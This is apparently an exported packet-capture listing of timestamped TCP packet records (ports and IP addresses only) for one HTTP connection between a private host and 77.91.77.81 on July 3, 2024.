Jul 3, 2024 23:59:26.391289949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391346931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391361952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391447067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391447067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391477108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391491890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391505957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391521931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391535044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391556978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391577005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391635895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391650915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391664982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391685009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391695976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391707897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391732931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391741991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391757965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391787052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391799927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391828060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391843081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.391877890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.391877890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414450884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414506912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414520979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414551973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414601088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414645910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414679050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414711952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414736986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414736986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414736986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414736986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414736986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414746046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.414760113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.414793015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.442826033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443094969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443120003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443151951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443175077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443186045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443191051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443232059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443236113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443269968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443283081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443314075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.443334103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.443373919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445323944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445357084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445379972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445389986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445405960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445431948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445472002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445503950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445522070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445537090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445552111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445575953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445590019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445610046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445619106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445642948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445660114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445689917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445692062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445740938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445744038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445774078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445789099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445822001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445825100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445854902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445868015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445888042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445894003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445924044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.445935965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.445975065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446146965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446181059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446190119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446213961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446225882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446245909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446258068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446279049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446296930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446311951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446327925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446345091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446346998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446378946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446384907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446413040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446427107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446445942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446459055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446480036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446492910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446522951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446605921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446638107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446660042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446670055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446683884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446702957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446712017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446736097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446748018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446768045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446778059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446800947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446814060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446834087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446854115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446866035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446891069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446897984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446913958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446933031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446938992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.446965933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.446975946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447010994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447078943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447112083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447132111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447144032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447150946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447176933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447191954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447216034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447222948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447247982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447252989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447279930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447292089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447312117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447321892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447344065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447359085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447376013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447396994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447410107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447422028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447442055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447453976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447474957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447485924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447525024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447643042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447675943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447695017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447710991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447721958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447743893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447755098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447776079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447788954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447808981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447820902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447843075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447860003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447874069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447885990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447907925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447921038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447941065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447953939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.447973967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.447981119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448007107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448019028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448041916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448050022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448086977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448739052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448771000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448792934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448803902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448806047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448837042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448848963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448880911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448905945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448940039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448959112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.448972940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.448992014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449006081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449012041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449038029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449048996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449069977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449086905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449103117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449115038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449136019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449142933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449167967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449170113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449202061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449213028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449234009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449245930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449269056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.449279070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.449312925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.487066984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487101078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487118959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487133980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487164974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487196922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487231016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487260103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.487307072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.487307072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.487307072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.487307072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.509917974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.509973049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510000944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510051012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510082960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510091066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510091066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510091066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510116100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510121107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510121107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510150909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510159016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510185003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.510196924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.510229111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538520098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538578987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538593054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538628101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538640976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538677931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538680077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538712978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538733006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538762093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538762093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538795948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538814068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538829088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538842916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538861990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538877964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538897991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.538913965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538944960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.538950920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539000034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539001942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539032936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539052010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539077997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539343119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539396048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539819002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539870977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539905071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539954901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.539959908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.539988995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540005922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540038109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540040970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540071964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540103912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540126085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540138006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540160894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540188074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540194035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540220976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540234089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540266991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540252924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540306091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540321112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540338039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540358067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540370941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540380955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540404081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540417910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540448904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540602922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540651083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540654898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540683985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540707111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540733099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540735006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540781975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540783882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540817976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540834904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540868044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540900946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540923119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540934086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540952921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.540967941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.540987015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541014910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541063070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541095018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541129112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541143894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541179895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541193008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541225910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541246891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541258097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541276932 CEST	49744	80	192.168.2.4	77.91.77.81
